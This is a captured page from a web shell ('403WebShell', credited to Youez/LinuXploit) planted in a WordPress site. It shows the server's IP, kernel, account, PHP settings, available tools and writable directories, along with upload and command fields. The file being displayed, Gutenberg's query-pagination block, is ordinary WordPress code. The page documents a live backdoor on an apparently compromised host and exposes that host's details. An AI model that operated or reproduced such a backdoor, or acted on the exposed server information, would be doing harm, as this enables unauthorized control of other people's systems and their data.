Done ! 403WebShell
403Webshell
Server IP : 54.36.91.62  /  Your IP : 216.73.216.38
Web Server : Apache
System : Linux webm008.cluster127.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : awaywithxm ( 25098)
PHP Version : 7.0.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/awaywithxm/www/wp-content/plugins/gutenberg/build/block-library/blocks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/awaywithxm/www/wp-content/plugins/gutenberg/build/block-library/blocks//query-pagination.php
<?php
/**
 * Server-side rendering of the `core/query-pagination` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/query-pagination` block on the server.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 *
 * @return string Returns the pagination for the query.
 */
function gutenberg_render_block_core_query_pagination( $attributes, $content, $block ) {
	$page_key = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page';
	$page     = empty( $_GET[ $page_key ] ) ? 1 : filter_var( $_GET[ $page_key ], FILTER_VALIDATE_INT );

	$content = '';
	if ( 1 !== $page ) {
		$content .= sprintf(
			'<div><a href="%s">%s</a></div>',
			esc_url( add_query_arg( $page_key, '2' === $page ? false : $page - 1 ) ),
			__( 'Previous', 'gutenberg' )
		);
	}
	if ( $page < ( isset( $block->context['query']['pages'] ) ? $block->context['query']['pages'] : 1 ) ) {
		$content .= sprintf(
			'<div><a href="%s">%s</a></div>',
			esc_url( add_query_arg( $page_key, $page + 1 ) ),
			__( 'Next', 'gutenberg' )
		);
	}
	return $content;
}

/**
 * Registers the `core/query-pagination` block on the server.
 */
function gutenberg_register_block_core_query_pagination() {
	register_block_type_from_metadata(
		__DIR__ . '/query-pagination',
		array(
			'render_callback' => 'gutenberg_render_block_core_query_pagination',
		)
	);
}
add_action( 'init', 'gutenberg_register_block_core_query_pagination', 20 );

Youez - 2016 - github.com/yon3zu
LinuXploit